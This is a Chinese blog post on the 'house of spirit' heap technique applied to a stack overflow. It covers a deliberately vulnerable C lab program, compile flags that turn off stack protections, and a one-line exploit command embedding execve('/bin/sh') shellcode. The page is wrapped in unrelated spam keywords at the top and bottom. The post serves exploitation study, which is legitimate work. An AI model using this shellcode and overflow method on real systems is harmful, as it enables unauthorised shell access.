91超碰碰碰碰久久久久久综合_超碰av人澡人澡人澡人澡人掠_国产黄大片在线观看画质优化_txt小说免费全本

溫馨提示×

溫馨提示×

您好,登錄后才能下訂單哦!

密碼登錄×
登錄注冊×
其他方式登錄
點擊 登錄注冊 即表示同意《億速云用戶服務條款》

【溢出利用技巧】house of spirit friendly stack overflow

發布時間:2020-03-23 08:04:02 來源:網絡 閱讀:448 作者:fatshi 欄目:安全技術

學習了一下L-CTF中介紹的一個棧溢出利用技巧,記錄一下。


樣例代碼如下:

/*
 * blackngel's vulnerable program slightly modified by gb_master
 */
#include <stdio.h>
#include <string.h>
#include <stdlib.h>

void fvuln(char *str1, int age)
{
  char *ptr1, name[32];
  int local_age;
  char *ptr2;

  local_age = age;

  ptr1 = (char *) malloc(256);
  printf("\nPTR1 = [ %p ]", ptr1);
  strcpy(name, str1);
  printf("\nPTR1 = [ %p ]\n", ptr1);

  free(ptr1);

  ptr2 = (char *) malloc(40);

  snprintf(ptr2, 40-1, "%s is %d years old", name, local_age);
  printf("\n%s\n", ptr2);
}

int main(int argc, char *argv[])
{
  int pad[10] = {0, 0, 0, 0, 0, 0, 0, 10, 0, 0};

  if (argc == 3)
    fvuln(argv[1], atoi(argv[2]));

  return 0;
}


編譯命令如下:

gcc hos.c -m32 -fno-stack-protector -mpreferred-stack-boundary=2 -mno-accumulate-outgoing-args -z execstack -o hos

Ubuntu 14 Server里編譯需要安裝一下開發包,否則會報錯sys/cdefs.h文件找不到:

sudo apt-get install libc6-dev-i386

這里關鍵思路是:通過溢出修改局部變量的地址為棧中的一個地址,將偽造地址中的size字段設置成一個fastbin的有效大小,以便能成功將其free,后面的malloc將把此塊內存重新申請并使用,snprintf函數再向其中寫入數據,從而可以覆蓋函數返回地址,最終getshell。

局部變量的內存分布如下:

0xffffd03c     name
0xffffd05c     ptr2
0xffffd060     ptr1
0xffffd064     local_age

樣例測試命令如下:

./hos `python -c 'import sys; sys.stdout.write("\x31\xc0\xeb\x14\x44\xd0\xff\xff\x6a\x0b\x58\x31\xf6\x56\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x89\xca\xcd\x80\x90" + "\x01\x01\x01\x68\xd0\xFF\xFF" + "\x30")'` 48

這里有點問題,通過GDB調試可以getshell,直接執行則報段錯誤:

【溢出利用技巧】house of spirit friendly stack overflow

【溢出利用技巧】house of spirit friendly stack overflow




向AI問一下細節

免責聲明:本站發布的內容(圖片、視頻和文字)以原創、轉載和分享為主,文章觀點不代表本網站立場,如果涉及侵權請聯系站長郵箱:is@yisu.com進行舉報,并提供相關證據,一經查實,將立刻刪除涉嫌侵權內容。

AI

福贡县| 山丹县| 梅河口市| 清水县| 洛宁县| 阜康市| 轮台县| 西乌珠穆沁旗| 汾阳市| 深水埗区| 大竹县| 固镇县| 禹城市| 连南| 永定县| 山西省| 贵州省| 五家渠市| 宜丰县| 梁河县| 容城县| 乌拉特前旗| 弥渡县| 富源县| 儋州市| 庄浪县| 盐源县| 保山市| 江永县| 当雄县| 灵宝市| 通榆县| 北碚区| 临沭县| 灌南县| 宿松县| 伊宁市| 姚安县| 天台县| 冕宁县| 绩溪县|